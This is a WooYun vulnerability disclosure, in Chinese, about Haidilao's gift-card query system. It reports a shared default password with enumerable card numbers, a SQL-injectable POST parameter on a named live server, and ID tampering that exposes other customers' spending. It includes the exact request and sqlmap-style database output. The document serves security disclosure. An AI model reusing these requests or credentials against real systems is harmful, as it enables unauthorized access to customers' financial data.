漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-073341
漏洞标题：海底捞欢乐卡查询系统漏洞打包（可遍历用户、SQL注入、越权访问）
相关厂商：haidilao.com
漏洞作者： 老抽王
提交时间：2014-08-21 18:13
修复时间：2014-08-26 18:14
公开时间：2014-08-26 18:14
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-08-21： 细节已通知厂商并且等待厂商处理中
2014-08-26： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
同事买了张海底捞欢乐，我近前一观发现存在多个漏洞。
当时就发现几个问题
1.弱密码可按卡号推算批量查询用户使用金额（默认密码123456）
2.登录后有注入（可查询数据库内容）
3.平行越权改cardsId 看他们消费情况
详细说明：
同事买了张海底捞欢乐，我近前一观发现存在多个漏洞。
不知道什么原因插补了图
当时就发现几个问题
1.弱密码可按卡号推算批量查询用户使用金额（默认密码123456）
首页http://118.186.245.5:9084/TzxMember/member.jsp
上有写默认密码，卡号CZ00000223739（朋友的卡号）顺延或前推
前后各测了3个号码，都可以登录
2.登录后有注入（可查询数据库内容）
貌似注入很多随便找了个查询，抓了下POST包
POST /TzxMember/myExpendAction!findCardDetails.action HTTP/1.1
Host: 118.186.245.5:9084
COOKIES:自己抓一下
cardsId=1392387&bbrqS=&bbrqE=&page=1&rows=10&sort=id&order=asc
3.平行越权改cardsId 看他们消费情况
还是上面的包，改一下ID看其他人的消费情况。
漏洞证明：
同事买了张海底捞欢乐，我近前一观发现存在多个漏洞。
上传图片一直报错，图片就剩了哦~~~
当时就发现几个问题
1.弱密码可按卡号推算批量查询用户使用金额（默认密码123456）
首页http://118.186.245.5:9084/TzxMember/member.jsp
上有写默认密码，卡号CZ00000223739（朋友的卡号）顺延或前推
2.登录后有注入（可查询数据库内容）
貌似注入很多随便找了个查询，抓了下POST包。
POST /TzxMember/myExpendAction!findCardDetails.action HTTP/1.1
Host: 118.186.245.5:9084
cardsId=1392387&bbrqS=&bbrqE=&page=1&rows=10&sort=id&order=asc
可以读库，可以操作，跑的权限（跑几下证明一下就行了）如下。
[INFO] fetching privileges for user 'DB2INST1'
[INFO] retrieved: SYSTOOLS.HMON_ATM_INFO,YGGGGGGG
[INFO] retrieved: SYSTOOLS.HMON_COLLECTION,YGGGGGGG
[INFO] retrieved: SYSTOOLS.POLICY
可以读数据库（跑几行就停了，证明有就行）：
[INFO] retrieved: 19
[INFO] retrieved: NULLID
[INFO] retrieved: SQLJ
[INFO] retrieved: SYSCAT
[INFO] retrieved: SYSFUN
[INFO] retrieved: SYSIBM
[INFO] retrieved: SYSIBMADM
3.平行越权改cardsId 看他们消费情况
还是上面的包，改一下ID看其他人的消费情况。这个就不截图了
cardsId=1392387&bbrqS=&bbrqE=&page=1&rows=10&sort=id&order=asc 改改CARDSid就行。
修复方案：
技术上：各种过滤吧
版权声明：转载请注明来源 老抽王@乌云
漏洞回应
厂商回应：
危害等级：无影响厂商忽略
忽略时间：2014-08-26 18:14
厂商回复：
最新状态：
暂无